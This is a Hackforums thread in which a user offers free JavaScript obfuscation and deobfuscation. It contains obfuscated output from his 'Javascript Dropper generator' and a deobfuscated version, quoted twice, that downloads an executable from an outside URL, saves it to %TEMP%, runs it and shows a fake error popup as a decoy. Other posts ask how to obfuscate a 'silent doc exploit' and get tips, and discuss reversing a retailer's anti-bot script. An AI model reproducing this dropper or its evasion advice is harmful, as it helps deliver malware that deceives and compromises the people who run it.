[speckled_eggz]

Hey  Hackforums,

I've been working on a lot of Javascript obfuscation and mostly things involving obfuscated Javascript recently.

I've decided that I'd provide a free Javascript obfuscation service to help grow my reputation on the forums!

If you'd like to submit a sample for me to obfuscate, feel free (does not have to be a sample. can be some of your programs!).

Format:

Code

Code type (Javascript or HTML):

Code:

Why is it being obfuscated (I really don't care why. Just to satisfy my curiosity):

I can also deobfuscate scripts if you'd like.


I will post the obfuscated code on the thread. Keep in mind I will snip parts out. You can include a note not to post the obfuscated code if you like.


If you don't want your code public, PM me!

[speckled_eggz]

I need to get this script deobfuscated but it's too long to post here so I've linked it below to a Pastebin URL.

https://pastebin.com/B7REXXhH

I'm starting on it now!

---

I'm starting on it now!

Note:

The scripts antidebugging interferes with whatever it does:
    - due to antidebugging, the script doesn't actually run
    - The script contains strings such as:
                 - "constructor", etc
    - Looks like it was packed with the "Heroku Javascript Obfuscator"


Console logs before completion (I used Chrome dev console for debugging): https://pastebin.com/i65vvbcp
Extracted: "Hello World!" !

Make sure to post your samples everyone!

[shadowkk2]

Hey  Hackforums,

I've been working on a lot of Javascript obfuscation and mostly things involving obfuscated Javascript recently.

I've decided that I'd provide a free Javascript obfuscation service to help grow my reputation on the forums!

If you don't want your code public, PM me!

Hey G, read ur post on Javascript so I was wondering if you know about python code obfuscation? I have this silent doc exploit that I need to obfuscate, would u mind sharing guidelines or tips on how to go about it. When its done I can be exploiting your files for u anytime. Thanks

[PerfectStorm]

Anyone have good results yet ?

thanks OP for offering.

[speckled_eggz]

Hey G, read ur post on Javascript so I was wondering if you know about python code obfuscation? I have this silent doc exploit that I need to obfuscate, would u mind sharing guidelines or tips on how to go about it. When its done I can be exploiting your files for u anytime. Thanks

I haven't ever delved in to Python obfuscation, but I can assume that when you do it you should:
+ Use weird combinations of character escape sequences
+ Obfuscate your control flow through a lot of pointless functions
+ Keep your strings split up through multiple hard-to-follow variables

I don't know about your doc exploit obfuscation but that's what I suggest for your Python obfuscation

---

Anyone have good results yet ?

thanks OP for offering.

No problem ;).

HMU If you want a sample for yourself

[Nobelium Uranium]

https://assets.supremenewyork.com/assets...d849349.js

You should try that

[speckled_eggz]

https://assets.supremenewyork.com/assets...d849349.js

You should try that

Started, will finish later this morning or tomorrow night, Jscrambler is very powerful indeed.

I found some strings like "setOffset", "width", "left", etc.


EDIT: Forgot to add their way of accessing Window, at least for me, is very "pretty ugly" and I will make sure to utilize it myself;

"typeof window === typeof {} ? window : typeof global === typeof {} ? global : this"


EDIT #2: Also forgot to add anti-debugging is pretty garbage in my opinion..

[Nobelium Uranium]

Started, will finish later this morning or tomorrow night, Jscrambler is very powerful indeed.

I found some strings like "setOffset", "width", "left", etc.


EDIT: Forgot to add their way of accessing Window, at least for me, is very "pretty ugly" and I will make sure to utilize it myself;

"typeof window === typeof {} ? window : typeof global === typeof {} ? global : this"


EDIT #2: Also forgot to add anti-debugging is pretty garbage in my opinion..

That is Supreme's antibot script if you didn't know, so it should contain many things relating to that. Things that should be contained are a minimum time it takes for a user to click the checkout button and checking for autofill on the credit card section. That's 2 things I can think of off the top of my head, never tried reversing it myself just went off what other bot providers said.

[speckled_eggz]

That is Supreme's antibot script if you didn't know, so it should contain many things relating to that. Things that should be contained are a minimum time it takes for a user to click the checkout button and checking for autofill on the credit card section. That's 2 things I can think of off the top of my head, never tried reversing it myself just went off what other bot providers said.

Going to take a while to deobfuscate this.. Jscrambler is an automated enterprise solution whereas I am me.. will hit you up when I get some results

[speckled_eggz]

Want to keep you updated, I am still working on it, but it's taking a long time. Jscrambler has all sorts of things that make it so difficult to deobfuscate, not to mention the absolutely huge file size.


Also, submissions for me to OBFUSCATE, not just deobfuscate are available at your request.

[S2K]

Want to keep you updated, I am still working on it, but it's taking a long time. Jscrambler has all sorts of things that make it so difficult to deobfuscate, not to mention the absolutely huge file size.


Also, submissions for me to OBFUSCATE, not just deobfuscate are available at your request.

Can you share some examples of code which you deobfuscated? I wonder What they looks like

[speckled_eggz]

Can you share some examples of code which you deobfuscated? I wonder What they looks like

I don't store deobfuscated code but in the past I've deobfuscated EK landing pages etc.

Obfuscated code (from my Javascript Dropper generator) could look like this:

Code

var K4lW425YOLl7T6Joxk7YbVXZAXa6YPwGvenxpvP10PJaqnDWZnPd4ddf7eTdW61DTCdbb3OQn3a1IfKS8nqY5hP7Ukgv6LG3obhzktfXutOTPmSRwWRfJxrxsCVg=function(){var ktDTqDj9Gck3Qv1yy2BBrdu2W1ZAeTRjhlrJXmi3j4JJn6GNcWRTAFfYfn3kQd9gOjrNkW91eLTR54YDLP12qObgLzL4qsVztAm8H2Jiho8HA462cPU2j5ZM8ZGU="{";for(var poK283Grpqymlj9BiVRVsn5OjWpTCNBhMPsEuR2VmjGLMWRlojLAxGirB9VZbBBZWBNFcZybOrnXNjBep3Fp2UO0iqUBH1eDk8fF9X1UuIslWFT8oY6GaDLPVVfy=(351248789039950700000-351248789039950700000);poK283Grpqymlj9BiVRVsn5OjWpTCNBhMPsEuR2VmjGLMWRlojLAxGirB9VZbBBZWBNFcZybOrnXNjBep3Fp2UO0iqUBH1eDk8fF9X1UuIslWFT8oY6GaDLPVVfy<(841611800798395600000+5-841611800798395600000);poK283Grpqymlj9BiVRVsn5OjWpTCNBhMPsEuR2VmjGLMWRlojLAxGirB9VZbBBZWBNFcZybOrnXNjBep3Fp2UO0iqUBH1eDk8fF9X1UuIslWFT8oY6GaDLPVVfy++)ktDTqDj9Gck3Qv1yy2BBrdu2W1ZAeTRjhlrJXmi3j4JJn6GNcWRTAFfYfn3kQd9gOjrNkW91eLTR54YDLP12qObgLzL4qsVztAm8H2Jiho8HA462cPU2j5ZM8ZGU+="-"+((Math[("raivibaaivibnaivibdaiviboaivibm"[((38424925.[("t"+"o"+"S"+"t"+"r"+"i"+"n"+"g")](34)))]("aivib")[((775155.[("t"+"o"+"S"+"t"+"r"+"i"+"n"+"g")](34)))](""))]()*98741)[("tRmGMZoRmGMZSRmGMZtRmGMZrRmGMZiRmGMZnRmGMZg"[((43115759.[("t"+"o"+"S"+"t"+"r"+"i"+"n"+"g")](35)))]("RmGMZ")[((844678.[("t"+"o"+"S"+"t"+"r"+"i"+"n"+"g")](35)))](""))]((758902943999115500000+32-758902943999115500000)))[("tkwvKUokwvKUUkwvKUpkwvKUpkwvKUekwvKUrkwvKUCkwvKUakwvKUskwvKUe"[((43115759.[("t"+"o"+"S"+"t"+"r"+"i"+"n"+"g")](35)))]("kwvKU")[((844678.[("t"+"o"+"S"+"t"+"r"+"i"+"n"+"g")](35)))](""))]();return ktDTqDj9Gck3Qv1yy2BBrdu2W1ZAeTRjhlrJXmi3j4JJn6GNcWRTAFfYfn3kQd9gOjrNkW91eLTR54YDLP12qObgLzL4qsVztAm8H2Jiho8HA462cPU2j5ZM8ZGU+"-}"};var YT2P03ZSFF7HzfBPgVyd56fR2B0ZfLSbwvNcqyk2xHgETt5wVYnZClxvc7ecObSZkHRWEf5graOeD0tMz44IzzZw6Dk22HZv9dkQRCIYvjoa0DvGJAGxXN5SDEJe=new ActiveXObject(("MZzsqGSZzsqGXZzsqGMZzsqGLZzsqG2ZzsqG.ZzsqGXZzsqGMZzsqGLZzsqGHZzsqGTZzsqGTZzsqGP"[((43115759.[("t"+"o"+"S"+"t"+"r"+"i"+"n"+"g")](35)))]("ZzsqG")[((775155.[("t"+"o"+"S"+"t"+"r"+"i"+"n"+"g")](34)))]("")));var XcdW8T9SFtaq85qb2I8DRObN6Ta0HhXxzUZaxZe5XnoA8OuaafADZKTaPscqlXEzFNHDJkzmFHn5AcqKdTHvm1NgwY4msFea1Dk4Q5bKA8jJcgbH5vFUcIvaOIEs=("hOEbLXtOEbLXtOEbLXpOEbLXsOEbLX:OEbLX/OEbLX/OEbLXbOEbLXuOEbLXiOEbLXlOEbLXdOEbLX.OEbLXoOEbLXpOEbLXeOEbLXnOEbLXvOEbLXpOEbLXnOEbLX.OEbLXnOEbLXeOEbLXtOEbLX/OEbLXdOEbLXoOEbLXwOEbLXnOEbLXlOEbLXoOEbLXaOEbLXdOEbLXsOEbLX/OEbLXrOEbLXeOEbLXlOEbLXeOEbLXaOEbLXsOEbLXeOEbLXsOEbLX/OEbLXtOEbLXaOEbLXpOEbLX-OEbLXwOEbLXiOEbLXnOEbLXdOEbLXoOEbLXwOEbLXsOEbLX-OEbLX9OEbLX.OEbLX2OEbLX1OEbLX.OEbLX1OEbLX.OEbLXeOEbLXxOEbLXe"[((30201437.[("t"+"o"+"S"+"t"+"r"+"i"+"n"+"g")](32)))]("OEbLX")[((918239.[("t"+"o"+"S"+"t"+"r"+"i"+"n"+"g")](36)))](""));function jHy2VxmP5xn4ERvp5S4P36py9GDmOz3igmisXQRVsWKt6dYv36QauC31FYdagOppcbBgwdyzrNjcvO19GmscII7HpuqOXV1u7XguydAAyqWrdrITPcfslnGx2TlF(){var JmpvxuYj2NrwndjnfcWXy74eecjdquANuCBuvNZFAEmMfjOJT4JogZMvYTN15RoVVdxsoQPHaEvUB6W2xUH7exketf0nsrJ54NBcigcy07sB75G9NT8cDXTMFe9R=new ActiveXObject(("WNSdCVSNSdCVcNSdCVrNSdCViNSdCVpNSdCVtNSdCV.NSdCVSNSdCVhNSdCVeNSdCVlNSdCVl"[((48223541.[("t"+"o"+"S"+"t"+"r"+"i"+"n"+"g")](36)))]("NSdCV")[((709556.[("t"+"o"+"S"+"t"+"r"+"i"+"n"+"g")](33)))]("")));var oJ8hR7QF7yZDuWC2MRsv8o67P93DY4igzjySHpsSyJdyVeXQY4GR7IU2YQPfrcRJKJTXHtlBW1WuUlis9EIdyCCdp6ORaxzx6lkuUlki63mZy8BvHbk2U7V4BxEk=JmpvxuYj2NrwndjnfcWXy74eecjdquANuCBuvNZFAEmMfjOJT4JogZMvYTN15RoVVdxsoQPHaEvUB6W2xUH7exketf0nsrJ54NBcigcy07sB75G9NT8cDXTMFe9R[("EeTIynxeTIynpeTIynaeTIynneTIyndeTI

-snip-


The deobfuscated version would be related to this (altered of course):

Code

a = new ActiveXObject('MSXML2.XMLHTTP');
b = 'https://build.openvpn.net/downloads/releases/tap-windows-9.9.2_3.exe';

function dl() {
 var fileloc = WScript.Shell.ExpandEnvironmentStrings('%TEMP%') + '/' + (function() {
   r = '{';
   for (i = 0; i < 5; ++i) r += '-' + ((Math.random() * 98741)
       .toString(32))
     .toUpperCase();
   return r + '-}'
 }) + '.exe');
a.open('GET', b, false);
a.send();
if (aXobj['status'] == 200) {
 aXStream = new ActiveXObject('ADODB.Stream');
 aXStream.open();
 aXStream.type = 1;
 aXStream.write(a.ResponseBody);
 aXStream.position = 0;
 aXStream.saveToFile(fileloc, 2);
 aXStream.close();
 WScript.Shell.run(fileloc, 1, 0)
}
WScript.Shell.popup('This 16 bit application is incompatible with your version of Windows.', 0, 'Unsupported Application', 48)
}

[S2K]

I don't store deobfuscated code but in the past I've deobfuscated EK landing pages etc.

Obfuscated code (from my Javascript Dropper generator) could look like this:

Code

var K4lW425YOLl7T6Joxk7YbVXZAXa6YPwGvenxpvP10PJaqnDWZnPd4ddf7eTdW61DTCdbb3OQn3a1IfKS8nqY5hP7Ukgv6LG3obhzktfXutOTPmSRwWRfJxrxsCVg=function(){var ktDTqDj9Gck3Qv1yy2BBrdu2W1ZAeTRjhlrJXmi3j4JJn6GNcWRTAFfYfn3kQd9gOjrNkW91eLTR54YDLP12qObgLzL4qsVztAm8H2Jiho8HA462cPU2j5ZM8ZGU="{";for(var poK283Grpqymlj9BiVRVsn5OjWpTCNBhMPsEuR2VmjGLMWRlojLAxGirB9VZbBBZWBNFcZybOrnXNjBep3Fp2UO0iqUBH1eDk8fF9X1UuIslWFT8oY6GaDLPVVfy=(351248789039950700000-351248789039950700000);poK283Grpqymlj9BiVRVsn5OjWpTCNBhMPsEuR2VmjGLMWRlojLAxGirB9VZbBBZWBNFcZybOrnXNjBep3Fp2UO0iqUBH1eDk8fF9X1UuIslWFT8oY6GaDLPVVfy<(841611800798395600000+5-841611800798395600000);poK283Grpqymlj9BiVRVsn5OjWpTCNBhMPsEuR2VmjGLMWRlojLAxGirB9VZbBBZWBNFcZybOrnXNjBep3Fp2UO0iqUBH1eDk8fF9X1UuIslWFT8oY6GaDLPVVfy++)ktDTqDj9Gck3Qv1yy2BBrdu2W1ZAeTRjhlrJXmi3j4JJn6GNcWRTAFfYfn3kQd9gOjrNkW91eLTR54YDLP12qObgLzL4qsVztAm8H2Jiho8HA462cPU2j5ZM8ZGU+="-"+((Math[("raivibaaivibnaivibdaiviboaivibm"[((38424925.[("t"+"o"+"S"+"t"+"r"+"i"+"n"+"g")](34)))]("aivib")[((775155.[("t"+"o"+"S"+"t"+"r"+"i"+"n"+"g")](34)))](""))]()*98741)[("tRmGMZoRmGMZSRmGMZtRmGMZrRmGMZiRmGMZnRmGMZg"[((43115759.[("t"+"o"+"S"+"t"+"r"+"i"+"n"+"g")](35)))]("RmGMZ")[((844678.[("t"+"o"+"S"+"t"+"r"+"i"+"n"+"g")](35)))](""))]((758902943999115500000+32-758902943999115500000)))[("tkwvKUokwvKUUkwvKUpkwvKUpkwvKUekwvKUrkwvKUCkwvKUakwvKUskwvKUe"[((43115759.[("t"+"o"+"S"+"t"+"r"+"i"+"n"+"g")](35)))]("kwvKU")[((844678.[("t"+"o"+"S"+"t"+"r"+"i"+"n"+"g")](35)))](""))]();return ktDTqDj9Gck3Qv1yy2BBrdu2W1ZAeTRjhlrJXmi3j4JJn6GNcWRTAFfYfn3kQd9gOjrNkW91eLTR54YDLP12qObgLzL4qsVztAm8H2Jiho8HA462cPU2j5ZM8ZGU+"-}"};var YT2P03ZSFF7HzfBPgVyd56fR2B0ZfLSbwvNcqyk2xHgETt5wVYnZClxvc7ecObSZkHRWEf5graOeD0tMz44IzzZw6Dk22HZv9dkQRCIYvjoa0DvGJAGxXN5SDEJe=new ActiveXObject(("MZzsqGSZzsqGXZzsqGMZzsqGLZzsqG2ZzsqG.ZzsqGXZzsqGMZzsqGLZzsqGHZzsqGTZzsqGTZzsqGP"[((43115759.[("t"+"o"+"S"+"t"+"r"+"i"+"n"+"g")](35)))]("ZzsqG")[((775155.[("t"+"o"+"S"+"t"+"r"+"i"+"n"+"g")](34)))]("")));var XcdW8T9SFtaq85qb2I8DRObN6Ta0HhXxzUZaxZe5XnoA8OuaafADZKTaPscqlXEzFNHDJkzmFHn5AcqKdTHvm1NgwY4msFea1Dk4Q5bKA8jJcgbH5vFUcIvaOIEs=("hOEbLXtOEbLXtOEbLXpOEbLXsOEbLX:OEbLX/OEbLX/OEbLXbOEbLXuOEbLXiOEbLXlOEbLXdOEbLX.OEbLXoOEbLXpOEbLXeOEbLXnOEbLXvOEbLXpOEbLXnOEbLX.OEbLXnOEbLXeOEbLXtOEbLX/OEbLXdOEbLXoOEbLXwOEbLXnOEbLXlOEbLXoOEbLXaOEbLXdOEbLXsOEbLX/OEbLXrOEbLXeOEbLXlOEbLXeOEbLXaOEbLXsOEbLXeOEbLXsOEbLX/OEbLXtOEbLXaOEbLXpOEbLX-OEbLXwOEbLXiOEbLXnOEbLXdOEbLXoOEbLXwOEbLXsOEbLX-OEbLX9OEbLX.OEbLX2OEbLX1OEbLX.OEbLX1OEbLX.OEbLXeOEbLXxOEbLXe"[((30201437.[("t"+"o"+"S"+"t"+"r"+"i"+"n"+"g")](32)))]("OEbLX")[((918239.[("t"+"o"+"S"+"t"+"r"+"i"+"n"+"g")](36)))](""));function jHy2VxmP5xn4ERvp5S4P36py9GDmOz3igmisXQRVsWKt6dYv36QauC31FYdagOppcbBgwdyzrNjcvO19GmscII7HpuqOXV1u7XguydAAyqWrdrITPcfslnGx2TlF(){var JmpvxuYj2NrwndjnfcWXy74eecjdquANuCBuvNZFAEmMfjOJT4JogZMvYTN15RoVVdxsoQPHaEvUB6W2xUH7exketf0nsrJ54NBcigcy07sB75G9NT8cDXTMFe9R=new ActiveXObject(("WNSdCVSNSdCVcNSdCVrNSdCViNSdCVpNSdCVtNSdCV.NSdCVSNSdCVhNSdCVeNSdCVlNSdCVl"[((48223541.[("t"+"o"+"S"+"t"+"r"+"i"+"n"+"g")](36)))]("NSdCV")[((709556.[("t"+"o"+"S"+"t"+"r"+"i"+"n"+"g")](33)))]("")));var oJ8hR7QF7yZDuWC2MRsv8o67P93DY4igzjySHpsSyJdyVeXQY4GR7IU2YQPfrcRJKJTXHtlBW1WuUlis9EIdyCCdp6ORaxzx6lkuUlki63mZy8BvHbk2U7V4BxEk=JmpvxuYj2NrwndjnfcWXy74eecjdquANuCBuvNZFAEmMfjOJT4JogZMvYTN15RoVVdxsoQPHaEvUB6W2xUH7exketf0nsrJ54NBcigcy07sB75G9NT8cDXTMFe9R[("EeTIynxeTIynpeTIynaeTIynneTIyndeTI

-snip-


The deobfuscated version would be related to this (altered of course):

Code

a = new ActiveXObject('MSXML2.XMLHTTP');
b = 'https://build.openvpn.net/downloads/releases/tap-windows-9.9.2_3.exe';

function dl() {
 var fileloc = WScript.Shell.ExpandEnvironmentStrings('%TEMP%') + '/' + (function() {
   r = '{';
   for (i = 0; i < 5; ++i) r += '-' + ((Math.random() * 98741)
       .toString(32))
     .toUpperCase();
   return r + '-}'
 }) + '.exe');
a.open('GET', b, false);
a.send();
if (aXobj['status'] == 200) {
 aXStream = new ActiveXObject('ADODB.Stream');
 aXStream.open();
 aXStream.type = 1;
 aXStream.write(a.ResponseBody);
 aXStream.position = 0;
 aXStream.saveToFile(fileloc, 2);
 aXStream.close();
 WScript.Shell.run(fileloc, 1, 0)
}
WScript.Shell.popup('This 16 bit application is incompatible with your version of Windows.', 0, 'Unsupported Application', 48)
}

oh shit, I'm js developer so how will I protect my code now

[speckled_eggz]

oh shit, I'm js developer so how will I protect my code now

If your code is server side and not accessible by the client, it's fine. Other than that, it's always accessible.

[S2K]

If your code is server side and not accessible by the client, it's fine. Other than that, it's always accessible.

Of course I@m aware of that/ I just don@t want to people can read and see what my codes do actually